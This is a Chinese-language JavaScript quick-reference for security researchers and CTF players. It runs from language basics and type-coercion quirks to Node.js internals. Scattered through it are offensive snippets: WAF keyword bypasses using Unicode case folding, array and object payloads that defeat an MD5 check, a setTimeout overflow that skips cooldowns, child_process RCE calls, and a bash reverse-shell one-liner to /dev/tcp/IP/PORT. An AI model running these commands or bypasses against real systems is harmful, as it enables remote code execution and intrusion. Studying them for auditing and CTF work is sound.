前言

JavaScript 是 Web 安全绕不开的语言——前端 XSS、Node.js 后端漏洞、原型链污染、沙箱逃逸、弱类型绕过……几乎每一种 Web 攻击面都涉及 JS。但很多安全研究者的 JS 基础是”边打边学”拼凑出来的,遇到 [] == ![] 这类反直觉行为时往往靠猜。

本文是一份面向安全研究者的 JS 速查手册,按主题组织——从函数定义、类型转换陷阱、异步编程到 Node.js 特有的 RCE 函数,每个知识点都附带可直接复制的代码示例。它不是 JS 入门教程,而是你在审计代码、写 exploit、分析 payload 时随手翻阅的参考。


一、函数

1.1 不会自动执行的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 函数声明——定义时不会执行,只有被调用时才执行
function myFunction() {
console.log("这是一个函数声明");
}

// 函数表达式——同样不会立即执行
const myFunction = function() {
console.log("这是一个函数表达式");
};

// 箭头函数——不会立即执行
const myFunction = () => {
console.log("这是一个箭头函数");
};

// 构造函数——只有 new 的时候才会执行
function MyConstructor() {
this.property = "一些属性";
}
const instance = new MyConstructor();

1.2 会立即执行的函数(IIFE)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 经典 IIFE 写法
(function() {
console.log("这是一个 IIFE,会立即执行");
})();

// 另一种括号位置
(function() {
console.log("这也是一个 IIFE");
}());

// 箭头函数版本
(() => {
console.log("箭头函数 IIFE 也会立即执行");
})();

// 一元操作符触发(!、~、+、-)
!function() { console.log("! 触发的 IIFE"); }();
~function() { console.log("~ 触发的 IIFE"); }();
+function() { console.log("+ 触发的 IIFE"); }();

1.3 new function() —— 匿名构造函数

1
2
3
4
5
var a = new function() {
this.name = "test";
console.log("函数被执行了");
};
console.log(a.name); // 输出: test

执行顺序: new 创建空对象 → 匿名函数执行(this 指向新对象)→ 新对象赋值给 a

1.4 Promise 构造函数中的执行器会立即执行

1
2
3
4
5
6
7
8
9
10
11
const promise = new Promise(function(resolve, reject) {
// 这个函数体是立即执行的!
console.log("Promise 构造函数中的函数会立即执行");
resolve("完成");
});

// then 中的回调才是异步的
promise.then(result => {
console.log(result); // 异步执行
});
console.log("我先输出"); // 这一行比 then 先执行

执行顺序: new Promise(fn)fn 立即执行 → console.log("我先输出")then 回调入微任务队列 → 微任务执行。

1.5 函数作为参数传递(回调)

1
2
3
4
5
6
7
8
9
10
11
12
function say(word) {
console.log(word);
}

function execute(someFunction, value) {
someFunction(value); // 调用传入的函数
}

execute(say, "Hello"); // 输出 "Hello"

// 匿名函数版本
execute(function(word) { console.log(word) }, "Hello");

二、DOM 操作

2.1 getElementById

1
2
const statusEl = document.getElementById('status');
// 从页面中选取 id="status" 的元素

对应 HTML:

1
<span class="meta" id="status"></span>

2.2 常用 DOM 查询速查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 单个元素
document.getElementById('id')
document.querySelector('.class')
document.querySelector('[name="csrf"]')

// 多个元素(返回 NodeList / HTMLCollection)
document.getElementsByClassName('class') // 实时更新
document.getElementsByTagName('div') // 实时更新
document.querySelectorAll('.class') // 静态快照
document.getElementsByName('name')

// 获取属性
el.getAttribute('href')
el.innerHTML // 内部 HTML
el.outerHTML // 含自身的完整 HTML
el.textContent // 纯文本(安全,无 XSS 风险)
el.value // 表单元素的值

三、字符串与编码

3.1 String.fromCharCode —— 数字转字符

1
2
3
4
5
6
7
8
let singleChar = String.fromCharCode(65);
console.log(singleChar); // 输出: "A"

let greeting = String.fromCharCode(72, 101, 108, 108, 111);
console.log(greeting); // 输出: "Hello"

// 攻击场景:绕过关键字过滤
const cmd = String.fromCharCode(99, 97, 116); // "cat"

3.2 btoa / atob —— Base64 编解码

1
2
3
4
5
6
7
8
// 编码:字符串 → Base64
btoa("hello"); // "aGVsbG8="

// 解码:Base64 → 字符串
atob("aGVsbG8="); // "hello"

// 攻击场景
const payload = atob("Y2F0IC9mbGFn"); // 解码后执行

3.3 String.split —— 字符串分割

1
2
3
4
5
6
"Hello World".split(" ");       // ["Hello", "World"]
"a,b,c".split(","); // ["a", "b", "c"]
"abc".split(""); // ["a", "b", "c"]

// 用正则分割(\s+ 匹配连续空白)
"hello the world".split(/\s+/); // ["hello", "the", "world"]

3.4 大小写绕过(Unicode 特殊字符)

1
2
3
4
5
6
7
8
9
// 土耳其语 ı(无点 i)转大写 → I
"ı".toUpperCase() == 'I'; // true

// 长 s 转大写 → S
"ſ".toUpperCase() == 'S'; // true

// 攻击场景:绕过 'SCRIPT' 关键字检测
const payload = "ſcript"; // .toUpperCase() → "SCRIPT"
// 如果 WAF 只检测大写 SCRIPT,这个绕过有效
字符 .toUpperCase() 绕过目标
ı (U+0131) I Iİ 的关系导致小写 ı 变成大写 I
ſ (U+017F) S 长 s 的大写形式就是 S
ß (U+00DF) SS 德语 eszett 变大写后变成两个 S
(U+FB00) FF 连字 ff

四、数组操作

4.1 Array.map —— 遍历并返回新数组

1
2
3
4
const numbers = [1, 2, 3];
const doubled = numbers.map(num => num * 2);
console.log(doubled); // [2, 4, 6]
console.log(numbers); // [1, 2, 3] —— 原数组不变

4.2 Array.filter —— 按条件筛选

1
2
3
4
5
6
7
const numbers = [1, 2, 3, 4, 5, 6];
const evenNumbers = numbers.filter(num => num % 2 === 0);
console.log(evenNumbers); // [2, 4, 6]

const words = ["apple", "banana", "kiwi", "grape"];
const longWords = words.filter(word => word.length >= 5);
console.log(longWords); // ["apple", "banana", "grape"]

4.3 数组拼接与隐式转换

1
2
3
4
5
6
7
console.log(5 + [6, 6]);        // "56,6"   (数字 + 数组 → 字符串拼接)
console.log("5" + 6); // "56" (字符串 + 数字 → 字符串)
console.log("5" + [6, 6]); // "56,6" (字符串 + 数组 → 字符串)
console.log("5" + ["6", "6"]); // "56,6" (同上)

// 核心规则:+ 号遇到对象/数组 → 先 toString
[6, 6].toString(); // "6,6"

五、剩余参数与解构

5.1 剩余参数语法(Rest Parameters)

1
2
3
4
5
6
// ... 将剩余参数收集为一个数组
function invite(name, ...friends) {
console.log(name + " 邀请了: ", friends);
}
invite("小明", "小红", "小刚", "小丽");
// 输出: 小明 邀请了: ["小红", "小刚", "小丽"]

5.2 数组解构 + 剩余

1
2
3
4
const line = "hello the fuck world";
const [cmd, ...rest] = line.split(/\s+/);
// cmd = "hello"
// rest = ["the", "fuck", "world"]

六、弱类型比较(核心!安全必知)

JavaScript 的 == 运算符有一套复杂的类型转换规则,是绕过认证逻辑的经典入口。

6.1 数字与字符串

1
2
3
4
5
6
console.log(1 == '1');       // true  —— 字符串 '1' 被转为数字 1
console.log(1 > '2'); // false —— '2' 转为数字 2,1 < 2
console.log('1' < '2'); // true —— 两个字符串按字典序比较
console.log(111 > '3'); // true —— '3' → 3,111 > 3
console.log('111' > '3'); // false —— 字符串比较!'1' 的 ASCII 码 49 < '3' 的 51
console.log('asd' > 1); // false —— 'asd' → NaN,NaN 与任何值比较都为 false

6.2 数组比较

1
2
3
4
5
6
console.log([] == []);        // false —— 两个不同对象的引用
console.log([] > []); // false
console.log([6, 2] > [5]); // true —— [6,2].toString()="6,2" > [5].toString()="5"
console.log([100, 2] < 'test'); // true —— [100,2].toString()="100,2",字符串 "100,2" < "test"
console.log([1, 2] < '2'); // true —— "1,2" < "2"(按字典序)
console.log([11, 16] < "10"); // false —— "11,16" > "10"('1' = '1','1' < '0'? → '1' > '0')

规则总结:

  • 数组之间比较:各自 toString() 后再比较
  • 数组和字符串比较:数组先 toString(),再按字符串比较
  • 空数组 [] 和空数组是两个不同对象,== 比较引用 → false
  • [] 转字符串是 ""[1,2] 转字符串是 "1,2"

6.3 null / undefined / NaN

1
2
3
4
5
6
console.log(null == undefined);   // true  —— 特殊规则
console.log(null === undefined); // false —— 类型不同
console.log(NaN == NaN); // false —— NaN 不等于任何值,包括自己
console.log(NaN === NaN); // false
console.log(isNaN(NaN)); // true —— 正确的 NaN 检测方式
console.log(Number.isNaN(NaN)); // true —— 更严格的检测

6.4 比较速查表

表达式 结果 原因
1 == '1' true 字符串转数字
true == 1 true 布尔转数字,true → 1
false == 0 true 布尔转数字,false → 0
'' == 0 true 空字符串 → 0
[] == 0 true []""0
[] == '' true []""
[] == ![] true ![]false0[]""0
null == 0 false null 只等于 undefined 和自己
undefined == 0 false undefined 只等于 null 和自己
' \t\r\n ' == 0 true 空白字符串 trim 后 → ""0

6.5 数组/对象绕过 MD5 比较

Node.js 中经典的 WAF 绕过:

1
2
3
4
5
6
7
8
function md5(s) {
return crypto.createHash('md5').update(s).digest('hex');
}

// WAF 逻辑:
if (a && b && a.length === b.length && a !== b && md5(a + flag) === md5(b + flag)) {
// 通过!
}

绕过方式一:传入数组

1
a[]=1&b[]=2
  • a 被解析为 ['1']b 被解析为 ['2']
  • a.length === b.length1 === 1true
  • a !== b['1'] !== ['2']true
  • md5(a + flag)md5('1' + flag)md5('1flag{...}')
  • md5(b + flag)md5('2' + flag)md5('2flag{...}')
  • 不相等 → 失败

但如果传入相同的数组:

1
a[]=1&b=1
  • a = ['1']b = '1'
  • a + flag['1'] + flag'1flag'
  • b + flag'1' + flag'1flag'
  • md5('1flag') === md5('1flag')true

绕过方式二:传入对象

1
a[x]=1&b[x]=2
  • a = {x: '1'}b = {x: '2'}
  • a + flag'[object Object]flag'
  • b + flag'[object Object]flag'
  • 相等!绕过!

核心原理: 对象(包括数组)参与 + 运算时调用 .toString(),所有普通对象都返回 [object Object]


七、Promise 与异步

7.1 Promise 基础

Promise 有三种状态:pending(进行中)、fulfilled(成功)、rejected(失败)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
let promise = new Promise(function(resolve, reject) {
setTimeout(() => {
let success = true;
if (success) {
resolve("操作成功!"); // 状态 → fulfilled
} else {
reject("出错了!"); // 状态 → rejected
}
}, 1000);
});

promise
.then(result => {
console.log(result); // "操作成功!"
})
.catch(error => {
console.error(error); // "出错了!"
})
.finally(() => {
console.log("异步操作结束。"); // 无论成功或失败都执行
});

7.2 async / await

async 函数自动返回 Promise:

1
2
3
4
5
6
7
8
9
10
async function getNumber() {
return 42; // 等价于 return Promise.resolve(42)
}

const result = getNumber();
console.log(result); // Promise { 42 }
console.log(result instanceof Promise); // true

// 用 await 获取实际值(只能在 async 函数内使用)
getNumber().then(value => console.log(value)); // 42

await 等待 Promise 完成并直接拿到值:

1
2
3
4
5
6
7
8
9
10
11
async function getData() {
let promise = new Promise((resolve) => {
setTimeout(() => resolve("数据加载完成!"), 1000);
});

let result = await promise; // "暂停" 1 秒,等待 Promise 完成
console.log(result); // "数据加载完成!"
}

getData();
// 注意:getData() 本身不会阻塞主线程

7.3 async/await 解决回调地狱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// ❌ 回调地狱
fs.readFile('data.json', (err1, data) => {
if (err1) throw err1;
const jsonData = JSON.parse(data);
db.query('SELECT * FROM users WHERE id = ?', [jsonData.userId], (err2, user) => {
if (err2) throw err2;
mail.send({ to: user.email, subject: 'Welcome' }, (err3, result) => {
if (err3) throw err3;
console.log("邮件发送成功");
});
});
});

// ✅ async/await 扁平化
async function processUserData() {
const data = await fs.promises.readFile('data.json');
const jsonData = JSON.parse(data);
const user = await db.query('SELECT * FROM users WHERE id = ?', [jsonData.userId]);
const result = await mail.send({ to: user.email, subject: 'Welcome' });
console.log("邮件发送成功");
}

八、定时器

8.1 setInterval —— 周期性执行

1
2
3
4
5
6
7
8
9
10
let intervalID = setInterval(要执行的函数, 间隔毫秒数, 参数1, 参数2, ...);

// 示例:每秒计数,满 5 次停止
let counter = 0;
let intervalID = setInterval(function() {
console.log("第" + (++counter) + "次执行");
if (counter >= 5) {
clearInterval(intervalID); // 停止定时器
}
}, 1000);

8.2 clearInterval —— 停止定时器

1
2
3
4
5
6
7
8
9
10
11
clearInterval(intervalID);

// 完整示例
let count = 0;
let timer = setInterval(() => {
console.log("Tick", ++count);
if (count === 3) {
clearInterval(timer);
console.log("定时器已停止");
}
}, 1000);

8.3 setTimeout 溢出漏洞

1
const t = setTimeout(() => next(), delay);

delay 如果大于 2147483647 毫秒(约 24.8 天),会发生 32 位有符号整数溢出,导致回调函数立即执行(在当前任务队列结束后)。

1
2
3
4
5
6
7
// 正常:约 25 天后执行
setTimeout(() => console.log("正常"), 2147483648);

// 但实际上:delay 溢出 → 值变成负数或很小的正数 → 立即执行
// 实际行为:
setTimeout(() => console.log("立即执行了!"), 2147483648);
// → 几乎立即输出 "立即执行了!"

攻击场景: 如果服务器用 setTimeout 实现”冷却时间”(cooldown),传入超大 delay 可以绕过冷却限制。

最大安全 delay: 0x7FFFFFFF = 2147483647 ms ≈ 24.86 天。超过此值的行为因环境而异(Node.js 和浏览器可能不同)。


九、Node.js 专属

9.1 全局对象

1
2
__filename   // 当前模块文件的完整绝对路径
__dirname // 当前文件所在目录的完整路径

9.2 process 对象

1
2
3
4
5
6
7
8
9
10
console.log("Node 版本:", process.version);
console.log("系统平台:", process.platform); // 'win32' | 'darwin' | 'linux'
console.log("当前进程ID:", process.pid);
console.log("父进程ID:", process.ppid);
console.log("当前工作目录:", process.cwd());
console.log("NODE_ENV:", process.env.NODE_ENV);
console.log("系统用户名:", process.env.USER);

// 列出所有环境变量(可能泄露密钥)
console.log(process.env);

9.3 sendFile —— 向客户端发送文件

1
2
res.sendFile('js.cookie.js', { root: './node_modules/js-cookie/src/' });
// 第二个参数指定查找路径,实际文件路径 = root + 文件名

9.4 RCE 函数(喜欢执行命令的函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// exec —— 执行 shell 命令,返回 stdout
require('child_process').exec('echo SHELL_BASE_64 | base64 -d | bash');

// execSync —— exec 的同步版本
require('child_process').execSync('cat /flag').toString();

// execFile —— 执行可执行文件
require('child_process').execFile("calc", { shell: true });

// spawn —— 流式执行(适合交互式 shell)
require('child_process').spawn("calc", { shell: true });

// fork —— 启动新的 Node.js 进程
require('child_process').fork('/tmp/evil.js');

// 一行反弹 shell
require('child_process').exec('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"');

十、动态执行代码

10.1 Function 构造器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 语法:new Function(arg1, arg2, ..., body)
const divide = new Function('a', 'b', 'return a / b;');
const multiply = new Function('a,b', 'return a * b;');
const getPI = new Function('return Math.PI;');

console.log(divide(10, 2)); // 5

// 不需要 new 也可以
const fn2 = Function('console.log("Hello")');
fn2(); // "Hello"

// 直接加 () 立即调用
Function('console.log("Hello")')(); // "Hello"

// 攻击场景:执行任意代码
Function('return require("child_process").execSync("cat /flag").toString()')();

10.2 eval 替代品

1
2
3
4
5
6
7
8
9
// eval
eval('console.log(1)');

// setTimeout / setInterval 可以直接传字符串
setTimeout('console.log(1)', 0);

// 间接 eval(在全局作用域执行)
(0, eval)('console.log(1)');
globalThis.eval('console.log(1)');

十一、反射与对象属性

11.1 Object.getOwnPropertyNames

1
2
3
4
5
6
7
8
9
10
const obj = { a: 1, b: 2 };
Object.getOwnPropertyNames(obj); // ["a", "b"]

// 包含不可枚举属性
const arr = [1, 2, 3];
Object.getOwnPropertyNames(arr); // ["0", "1", "2", "length"]

// 实用场景:枚举沙箱暴露的所有 API
Object.getOwnPropertyNames(globalThis);
Object.getOwnPropertyNames(__runtime); // 见 JS 沙箱逃逸专题

11.2 其他反射方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 获取所有自身可枚举属性(键名)
Object.keys(obj);

// 获取所有自身可枚举属性(键值)
Object.values(obj);

// 获取所有自身可枚举属性(键值对)
Object.entries(obj);

// 获取自身所有 Symbol 属性
Object.getOwnPropertySymbols(obj);

// Reflect API(更现代的反射方式)
Reflect.ownKeys(obj); // 所有自身属性(含 Symbol)
Reflect.get(obj, 'key');
Reflect.set(obj, 'key', 'value');

十二、类型转换陷阱速查表

表达式 结果 说明
[] + {} "[object Object]" []""{}"[object Object]"
{} + [] 0"[object Object]" 取决于 {} 被解析为块还是对象
[] + [] "" 两个空字符串拼接
true + true 2 true → 11 + 1 = 2
1 + '1' "11" 数字 + 字符串 → 字符串
1 - '1' 0 减法没有字符串行为,'1' → 1
'2' * '3' 6 都转数字
!!'false' true 非空字符串都是 truthy
!!'' false 空字符串是唯一的 falsy 字符串
!!undefined false
!!null false
!!0 false

参考